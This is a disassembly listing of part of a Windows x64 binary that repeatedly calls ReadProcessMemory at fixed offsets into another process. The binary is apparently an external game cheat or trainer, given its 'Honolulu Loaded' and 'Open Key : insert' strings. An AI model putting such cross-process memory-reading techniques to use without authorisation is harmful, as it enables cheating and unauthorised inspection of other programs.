call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510d8], rax
mov rdx, qword [0x140151130]
add rdx, 0x20019e0
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510e0], rax
mov rdx, qword [0x140151130]
add rdx, 0x20025b8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [0x140151100], 0x960
mov rax, qword [rsp + 0x50]
mov qword [0x140151110], rax
mov qword [0x1401510f0], 0xd10
mov qword [0x1401510f8], 0x8e8
mov rdx, qword [r12]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x50]
add rdx, r9
mov rcx, qword [0x140151120]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov qword [0x1401510e8], rax
mov qword [r12 + 0x38], 0x10a8
mov rdx, qword [0x1401510d0]
lea rcx, str.Honolulu_Loaded_
call fcn.140005910
mov rdx, qword [0x1401510d8]
lea rcx, str._nOpen_Key_:_insert
call fcn.140005910
call fcn.14004bb70
mov rcx, rax
call fcn.140052440
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000784a
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007845
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053644
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000789c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007897
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053644
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.1400535e0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3